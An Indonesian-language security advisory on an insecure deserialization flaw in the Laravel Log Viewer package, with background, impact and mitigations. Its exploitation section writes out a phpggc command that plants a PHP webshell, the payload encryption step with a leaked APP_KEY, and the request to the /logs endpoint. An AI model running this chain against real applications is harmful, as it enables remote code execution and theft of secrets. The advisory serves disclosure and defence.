Laravel Log Viewer — Insecure Deserialization via dl/l Parameter Mengarah ke RCE
Paket: rap2hpoutre/laravel-log-viewer
Laravel Log Viewer — Insecure Deserialization via dl/l Parameter Mengarah ke RCE
Paket: rap2hpoutre/laravel-log-viewer
Issue: #310 (GitHub)
Dilaporkan oleh: brocked200 — 4 Juni 2025
Status: Open / Belum Ditangani Resmi
Severity: Critical
Prasyarat: APP_KEY diketahui penyerang
Autentikasi: Tidak Diperlukan
Latar Belakang
Laravel Log Viewer oleh rap2hpoutre adalah package populer dengan lebih dari 3.200 bintang di GitHub yang memungkinkan developer melihat log Laravel langsung dari browser. Setelah patch CVE-2018-8947 (versi 0.13.0), parameter dl dan l diubah dari Base64 biasa menjadi enkripsi menggunakan \Crypt::decrypt() milik Laravel — yang dianggap aman.
Namun, Issue #310 yang dibuka pada Juni 2025 mengungkap masalah lebih dalam: enkripsi bukan berarti aman jika hasil dekripsinya langsung di-deserialize tanpa validasi.
Akar Masalah: decrypt() = Deserialization Otomatis
Fungsi decrypt() bawaan Laravel secara default memiliki parameter kedua $unserialize = true, yang berarti setiap data yang berhasil didekripsi akan otomatis di-unserialize():
// vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$decrypted = \openssl_decrypt(
$payload['value'],
$this->cipher,
$this->key,
0,
$iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}
Kebijakan Laravel adalah tidak melakukan patching terhadap gadget chains. Oleh karena itu, siapapun yang bisa mengirim data ke fungsi decrypt() dan mengetahui APP_KEY aplikasi akan mampu mengeksekusi kode secara remote.
Pada Laravel Log Viewer, parameter dl dan l pada endpoint GET /logs diproses persis seperti ini — dikirim oleh user, didekripsi oleh server, lalu hasilnya di-unserialize secara otomatis tanpa ada validasi tipe objek sama sekali.
Prasyarat Serangan
| Syarat | Keterangan |
|---|---|
| APP_KEY diketahui | Bisa bocor dari .env, GitHub, log debug, dsb. |
Endpoint /logs dapat diakses |
Jika tidak dilindungi middleware auth |
| Autentikasi | Tidak diperlukan |
Fungsi decrypt() Laravel secara otomatis men-deserialize data yang didekripsi, menciptakan vektor eksekusi kode remote yang potensial. Laravel memiliki banyak gadget chain PHP yang terdokumentasi dengan baik yang dapat digabungkan untuk mencapai eksekusi perintah sembarang selama proses unserialize().
Alur Eksploitasi
Langkah 1 — Generate Gadget Chain dengan phpggc
# Contoh: tulis PHP webshell ke direktori public
./phpggc Laravel/RCE19 \
"echo '<?php system(\$_GET[\"cmd\"])?>' > /var/www/html/public/shell.php" \
| base64 -w 0
Tool phpggc mengkatalogkan lebih dari 22 gadget chain RCE yang menarget Laravel versi 5.1 hingga 12.
Langkah 2 — Enkripsi Payload dengan APP_KEY
Gunakan laravel-crypto-killer dari Synacktiv:
python3 laravel_crypto_killer.py encrypt \
-k "base64:<APP_KEY_ANDA>" \
-v "<OUTPUT_PHPGGC_BASE64>"
Cookie yang dihasilkan adalah payload Laravel yang terenkripsi secara sah dan tidak dapat dibedakan dari cookie legitimate oleh server.
Langkah 3 — Kirim ke Endpoint Rentan
GET /logs?dl=<ENCRYPTED_PAYLOAD> HTTP/1.1
Host: target.com
Server mendekripsi payload → otomatis memanggil unserialize() → gadget chain terpicu → RCE.
Dampak
Eksploitasi yang berhasil memberikan penyerang kemampuan untuk:
- Mengeksekusi perintah shell sembarang sebagai user
www-data - Membaca file sensitif (
/etc/passwd,.env, konfigurasi database) - Menulis webshell ke direktori publik
- Melakukan pivot ke sistem lain di jaringan internal
Kerentanan ini sudah dieksploitasi di dunia nyata oleh aktor ancaman, khususnya yang berada di balik malware AndroxGh0st, yang secara aktif memindai internet untuk menemukan aplikasi Laravel yang mengekspos file .env-nya.
Konteks Lebih Luas: APP_KEY Leak adalah Epidemi
Dalam penelitian bersama oleh GitGuardian dan Synacktiv, lebih dari 260.000 APP_KEY Laravel berhasil diekstrak dari GitHub sejak 2018, dengan lebih dari 600 aplikasi Laravel yang rentan teridentifikasi.
Saat ini, sekitar 120 aplikasi terbukti rentan terhadap eksploitasi RCE secara langsung. Analisis menunjukkan 63% eksposur APP_KEY berasal dari file .env, yang biasanya juga mengandung kredensial database, token cloud storage, dan kunci payment gateway.
Mitigasi
1. Lindungi route dengan middleware auth (WAJIB):
// routes/web.php
Route::group(['middleware' => ['auth', 'admin']], function () {
Route::get('logs', '\Rap2hpoutre\LaravelLogViewer\LogViewerController@index');
});
2. Gunakan decrypt($value, false) — nonaktifkan deserialisasi:
// AMAN
$path = \Crypt::decrypt($request->input('dl'), false);
// RENTAN
$path = \Crypt::decrypt($request->input('dl')); // default: unserialize=true
3. Nonaktifkan di production jika tidak digunakan — hapus atau comment route log viewer.
4. Putar APP_KEY jika ada indikasi kebocoran:
php artisan key:generate
Setelah memutar APP_KEY, semua session aktif akan invalid. Pastikan sudah berkoordinasi dengan tim sebelum melakukan ini di production.
5. Scan GitHub untuk kebocoran APP_KEY:
git log --all --diff-filter=A -- .env
Referensi
| Sumber | URL |
|---|---|
| GitHub Issue #310 | https://github.com/rap2hpoutre/laravel-log-viewer/issues/310 |
| laravel-crypto-killer (Synacktiv) | https://github.com/synacktiv/laravel-crypto-killer |
| phpggc (Gadget Chains) | https://github.com/ambionics/phpggc |
| Laravel APP_KEY Leakage Analysis | https://www.synacktiv.com/en/publications/laravel-appkey-leakage-analysis |
| GitGuardian — 600+ Laravel Apps Exposed | https://blog.gitguardian.com/exploiting-public-app_key-leaks/ |
| OWASP A08 — Insecure Deserialization | https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/ |
| Quarkslab — PHP Gadget Chains di Laravel | https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html |
| MogwaiLabs — Laravel RCE via Queue | https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/ |
Artikel ini ditulis untuk tujuan pendidikan dan riset keamanan. Eksploitasi tanpa izin adalah ilegal. Selalu lakukan pengujian keamanan hanya pada sistem yang kamu miliki atau memiliki izin tertulis.